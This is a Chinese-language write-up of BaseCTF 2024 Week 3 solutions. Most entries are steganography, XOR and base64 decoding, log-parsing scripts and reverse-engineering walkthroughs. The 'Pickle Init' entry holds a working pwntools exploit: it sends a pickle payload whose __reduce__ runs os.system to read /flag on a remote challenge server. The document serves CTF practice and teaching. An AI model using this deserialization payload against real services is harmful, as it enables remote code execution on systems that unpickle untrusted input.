BaseCTF2024 WEEK3 Writeup

BaseCTFweek3

Misc

这是一个压缩包

不要只会用工具噢

发现base64 解码后应该是密码规则 一个正向14位加反向14位

生成字典

1
2
3
4
5
6
7
8
9
10
import itertools
import string

passwords = [''.join(p) for p in itertools.product(string.printable, repeat=3)]

with open('passwords.txt', 'w') as f:
for password in passwords:
f.write("BaseCTF" + password + password[::-1] + "FTCesaB" + '\n')

print(f"Generated {len(passwords)} passwords.")

爆破成功

BaseCTF{a7da6763-5013-4963-9c23-8fb3d049bdce}

纯鹿人

想必之前的第一题没有难倒你吧?鸽鸽很满意,那我们再试试这个叭

移开图片全选文本设置文字颜色

得到一个秘密

解压 doc 分析图片发现图片文件隐写

文件分离得到加密的压缩包

解压得到flag

BaseCTF{d176adc7-5919-4a0c-9556-0301fc4d9c35}

broken.mp4

破防时刻:录屏录到一半,断电关机了。签个到吧

BaseCTF Week2 讲解视频 (broken).mp4

万兴易修 高级修复 用好视频作为样本 修复坏视频

也使用使用 recover_mp4.exe 和 ffmpeg 修改不过比较麻烦

BaseCTF{x1a_Ci_1_DIn9_y0Ng_MKV}

Base revenge

Not just Base

随波逐流 解一下 给出的hint 文本 发现 是atbash

再用 base64隐写脚本解一下 base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a = '''VGl0bGU6IFRoZSBFbmlnbWF0aWMgQ29kZSBvZiBNaXNjIEJhc2U2NE==
.......
.......
VGhlIHNhdGlzZmFjdGlvbiBvZiBzZWVpbmcgbGV0dGVycyBhbmQgbnVtYmVycyB0cmFuc2Zvcm1='''

e = a.splitlines()
binstr = ""
base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e:
if i.find("==") > 0:
temp = bin((base64.find(i[-3]) & 15))[2:]
# 取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
binstr = binstr + "0" * (4 - len(temp)) + temp # 二进制字符补高位0后,连接字符到binstr
elif i.find("=") > 0:
temp = bin((base64.find(i[-2]) & 3))[2:] # 取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
binstr = binstr + "0" * (2 - len(temp)) + temp # 二进制字符补高位0后,连接字符到binstr
str = ""
for i in range(0, len(binstr), 8):
str = str + chr(int(binstr[i:i + 8], 2)) # 从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str)
# JnUaAFMFImgANSEuAWYuBE9SyaYpC2ldBrU9

将结果 atbash + base64解密得到flag

BaseCTF{Y0u_d0_a_Go0d_j0b!}

外星信号

在一次秘密任务中截获到了一段对话,地球人向地外发送了一段秘语,外星返回了一段外星信号,赶快来破译密码吧(flag小写)

发现是莫斯密码

得到一段flag

分析文件 发现文件隐写

binwalk 分离

![df583f8ad768c2682013d969207a3cdc](../Documents/Tencent Files/2569127956/nt_qq/nt_data/Pic/2024-08/Ori/df583f8ad768c2682013d969207a3cdc.png)

听第二段后面是 sstv 信号 截取信号音频

使用 rx-sstv 解码

1
....-/----./.-/....-/-....-/.-/----./----./..---/-....-/...--/-.../-.../-../...../-..../..-./...--/..-./-../-----/-...

莫斯解码后 两段拼起来

BaseCTF{2ebe6fdc-60dc-49a4-a992-3bbd56f3fd0b}

我要吃火腿!

火腿——

兽音解码 得到一段py

文件被异或了

1
2
3
4
5
6
7
8
9
10
11
12
13
def xor_with_ham(input_file, output_file):
ham_bytes = [0x48, 0x61, 0x6D]

with open(input_file, 'rb') as f:
data = bytearray(f.read())

for i in range(len(data)):
data[i] ^= ham_bytes[i % 3]

with open(output_file, 'wb') as f:
f.write(data)

xor_with_ham('Ham.jpg', 'Ham1.jpg')

直接原代理异或回来

发现 文件隐写 复制出来单独报错文件

更改后缀为 wav

rx-SSTV 解码

BaseCTF{SSTV_Happpy!}

白丝上的flag

某出题人赠送大家flag时遭遇了信号干扰, 幸好我们在不知名小网站找到了写入flag前的图片, 尝试还原信息吧!

从原图生成一张加密后的图 对比 flag 加密后的图 不同的颜色位置就是flag的颜色

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.....
raw = Image.open("./image.png")
img = confuse_image(raw)
img.save("en1_image.png")
from PIL import Image

raw = Image.open("./en1_image.png")
flag = Image.open("./en_image.png")

img = Image.new('RGBA', (raw.width, raw.height))
for w in range(raw.width):
for h in range(flag.height):
f = flag.getpixel((w, h))
r = raw.getpixel((w, h))
if r != f:
img.putpixel((w, h), (0, 0, 0, 255))

img.save("flag.png")

BaseCTF{there_is_the_flag@}

Pickle Init

1
2
3
#!/bin/bash
echo "${GZCTF_FLAG}" > /flag
python3 -c "__import__('pickle').loads(__import__('sys').stdin.read(50).encode('ASCII'))"

有 encode(‘ASCII’) 要用 protocol=0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import pickle
import os

p = remote("challenge.basectf.fun", 47898)

class A(object):
def __reduce__(self):
return (os.system, ("cat /flag ",))

exploit = A()
payload = pickle.dumps(exploit, protocol=0)
print(payload)
print(len(payload))
p.send(payload)
r = p.recv(1024)
print(r.decode())

p.close()

PPC

BaseCTF 崩啦 II - 过期了?

BaseCTF 崩啦 III - 帮我查查队伍的解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import hashlib
import json
import re
from datetime import datetime


def mk_flag(string):
md5_hex = hashlib.md5(string.encode('utf-8')).hexdigest()
return f'BaseCTF{{{md5_hex}}}'


def find_dict(list_of_dicts, key, value):
return [d for d in list_of_dicts if d.get(key) == value]


def convert_log_to_json(log_file_path):
log_pattern = re.compile(
r'\[(?P<timestamp>[\d/:\s\+\-]+)\sINF\] FlagChecker: 队伍 \[(?P<team>[^\]]+)\] 提交题目 \[(?P<challenge>.+)\] 的答案 \[(?P<flag>[^\]]+)\] <(?P<username>[^\>]+)> @ (?P<ip>[\d\.]+)'
)
with open(log_file_path, 'r', encoding='utf-8') as file:
log_lines = file.readlines()

log_entries = [match.groupdict() for line in log_lines if (match := log_pattern.match(line.strip()))]
return log_entries


base_dir = r'E:\Downloads\oh-my-basectf\\'

with open(base_dir + "challenges.json", 'r') as f:
challenges = json.load(f)
with open(base_dir + "flags.json", 'r') as f:
flags = json.load(f)
with open(base_dir + "teams.json", 'r') as f:
teams = json.load(f)

sub_data = convert_log_to_json(base_dir + "submissions.log")
submissions = sorted(sub_data, key=lambda x: datetime.strptime(x['timestamp'], '%Y/%m/%d %H:%M:%S %z'))

print('challenges', challenges[0])
print('flags', flags[0])
print('teams', teams[0])
print('submissions', submissions[0])
print()

end_time = datetime.strptime('2024-08-31 15:00:00', "%Y-%m-%d %H:%M:%S")
ds = [
find_dict(challenges, 'Name', i['challenge'])[0]['Id']
for i in submissions
if i['team'] == 'Damien Schroeder' and datetime.strptime(i['timestamp'].split(' +')[0], "%Y/%m/%d %H:%M:%S") > end_time
]

print(mk_flag(','.join(ds)))

flag_d = {f"{flag['TeamId']}-{flag['ChallengeId']}": [flag['Flag']] for flag in flags}

teams_id = find_dict(teams, 'Name', 'Rick Hyatt')[0]['Id']
subs = find_dict(submissions, 'team', 'Rick Hyatt')

rh = [
_c['Id']
for _c in challenges
if not any(
_s['flag'] in flag_d.get(f"{teams_id}-{_c['Id']}", [])
and datetime.strptime(_s['timestamp'].split(' +')[0], "%Y/%m/%d %H:%M:%S") < end_time
for _s in subs if _s['challenge'] == _c['Name']
)
]

print(mk_flag(','.join(rh)))

# BaseCTF{f577e4522ccba9ed07727212657f139e}
# BaseCTF{4f87919032dfc58a9a23044aab9acd99}

Reverse

出题人已疯

在日复一日的「出题 - 验题 - 写WP - 给平台加小功能 - 回复私聊消息 - 修复附件 - ……」中,LilRan 终于是疯了。

dnspy查看源代码

逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
using System;
using System.Linq;

public class Program
{
public static void Main()
{
uint[] source = new uint[]
{
24164U, 27173U, 32145U, 17867U, 40533U, 21647U, 17418U, 30032U, 27950U, 62998U,
60750U, 64870U, 52680U, 61797U, 49234U, 59762U, 16704U, 19200U, 32132U, 24038U,
21764U, 30130U, 28113U, 23070U, 27413U, 27917U, 28938U, 50207U, 64834U, 60132U,
64832U, 63334U, 55103U, 22176U, 21991U, 20073U, 22281U, 19476U, 28302U, 24336U,
24720U, 19544U, 23018U, 43976U
};

string[] sentences = new string[]
{
"你以为我还会在乎吗?\ud83d\ude2c\ud83d\ude2c\ud83d\ude2c我在昆仑山练了六年的剑\ud83d\ude1f\ud83d\ude1f\ud83d\ude1f我的心早就和昆仑山的雪一样冷了\ud83d\ude10\ud83d\ude10\ud83d\ude10我在大润发杀了十年的鱼\ud83d\ude2b\ud83d\ude2b\ud83d\ude2b我以为我的心早已跟我的刀一样冷了\ud83d\ude29\ud83d\ude29\ud83d\ude29",
"我早上坐公交滴卡的时候和司机大叔说“两个人”,司机惊讶地看着我“你明明就是一个人,为什么要滴两个人的卡?”我回他,“我心中还有一个叫Kengwang的。”司机回我说,“天使是不用收钱的。”",
"(尖叫)(扭曲)(阴暗的爬行)(扭动)(阴暗地蠕动)(翻滚)(激烈地爬动)(痉挛)(嘶吼)(蠕动)(阴森的低吼)(爬行)(分裂)(走上岸)(扭曲的行走)(不分对象攻击)",
"地球没我照样转?硬撑罢了!地球没我照样转?硬撑罢了!地球没我照样转?硬撑罢了!地球没我照样转?硬撑罢了!地球没我照样转?硬撑罢了!地球没我照样转?硬撑罢了!",
"扭曲上勾拳!阴暗的下勾拳!尖叫左勾拳!右勾拳爬行!扭动扫堂腿!分裂回旋踢!这是蜘蛛阴暗的吃耳屎,这是龙卷风翻滚停车场!乌鸦痉挛!老鼠嘶吼!大象蠕动!愤怒的章鱼!无差别攻击!无差别攻击!无差别攻击!"
};

char[] array2 = string.Join("", sentences).ToCharArray();
char[] sourceChars = source.Select(c => (char)c).ToArray();
char[] array = new char[sourceChars.Length];

for (int i = 0; i < sourceChars.Length; i++)
{
char c = sourceChars[i];
c = (char)(c ^ i ^ (int)array2[i % array2.Length]);
array[i] = (char)Math.Sqrt(c);
}

string flag = new string(array);
Console.WriteLine(flag);
}
}
//BaseCTF{y0u_KnOw_UTF16_6uT_U_r_n0t_Cr@zym@n}

Dont-debug-me

是该相信自己还是相信题目呢?

ida 静态分析 执行ex1t() 会显示真的flag

查看 ex1t()函数地址

x64dbg 调试

运行程序 按空格修改指令 跳转 到 0x0000000000401E71

步进 然后 步过 执行代码 直到flag 出现

BaseCTF{8ea2710a717f89d83af695d312fe3b625df14a6ba6b3a74e15ed1e2d35cb10}

ezAndroid

你喜欢apk吗

解压apk

d2j-dex2jar.bat classes.dex 反编译classes.dex

jd-gui 代码审计

发现 从资源文件 读取了flag 文件 并且对输入加密后比对

查看 flag 文件

不是一个base64 结果

Base64encode 函数来源于 本地链接 hello 库

在lib 文件夹中找到 libhello.so

ida 打开搜索base 找到函数 发现函数并不是真的 base64加密

分析为 循环异或 查看 byte_CD08 的值

解密获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
a = [0x61, 0x36, 0x62, 0x34, 0x64, 0x34, 0x66, 0x65, 0x33, 0x34, 0x36, 0x31]
b = [
0x23, 0x57, 0x11, 0x51, 0x27, 0x60, 0x20, 0x1E, 0x72, 0x5A, 0x52, 0x43, 0x0E, 0x5F, 0x06, 0x6B,
0x53, 0x00, 0x05, 0x00, 0x6C, 0x5D, 0x45, 0x6E, 0x02, 0x01, 0x52, 0x55, 0x3B, 0x47, 0x09, 0x3A,
0x04, 0x50, 0x00, 0x09, 0x3E, 0x50, 0x17, 0x5A, 0x0A, 0x4D, 0x39, 0x51, 0x55, 0x04, 0x0F, 0x4C
]

for i in range(len(b)):
b[i] ^= a[i % len(a)]

for i in b:
print(chr(i), end='')
# BaseCTF{Android_74ce_is_c70a_so_7d68_funny_4f09}